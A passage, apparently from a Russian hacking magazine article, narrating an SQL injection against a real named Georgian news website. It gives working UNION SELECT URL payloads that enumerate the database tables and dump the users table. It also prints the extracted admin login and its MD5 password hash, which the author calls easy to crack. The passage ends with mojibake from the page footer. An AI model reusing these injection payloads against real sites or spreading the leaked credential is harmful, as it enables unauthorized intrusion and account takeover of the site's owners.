http://www.presa.ge/index.php?text=news&i=-1+sql-запрос
Функции user() и version() выдали достаточно радужную для меня инфу:
user() — presa_ge@localhost version() — 5.0.51
Версия мускула была выше 5, и, следовательно, перебор табличек не представлял собой ничего сверхъестественного:
http://www.presa.ge/index.php?text=news&i=- 1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+i nformation_schema.tables+limit+21,1--
К моему удивлению, табличка «users» имела всего одну запись:
http://www.presa.ge/index.php?text=news&i=-1+union+sel ect+1,2,count(*),4,5,6,7,8,9,10,11+from+users--
Тем не менее, логин и пароль удалось заполучить без особых проблем:
http://www.presa.ge/index.php?text=news&i=-1+union+sel ect+1,2,concat(user_username,char(58),user_password),4 ,5,6,7,8,9,10,11+from+users+limit+0,1--
Асам аккаунт имел вид:
presa.ge:c1ab283404b71a940807009023a764bd
Судя по хэшу, пасс был шифрован md5 алгоритмом, что при правильном подходе не сулило ничего сложного. Огорчало другое, — мне так и не удалось найти месторасположение админки либо формочки логина
066 |
xàêåð 10 /118/ 08 |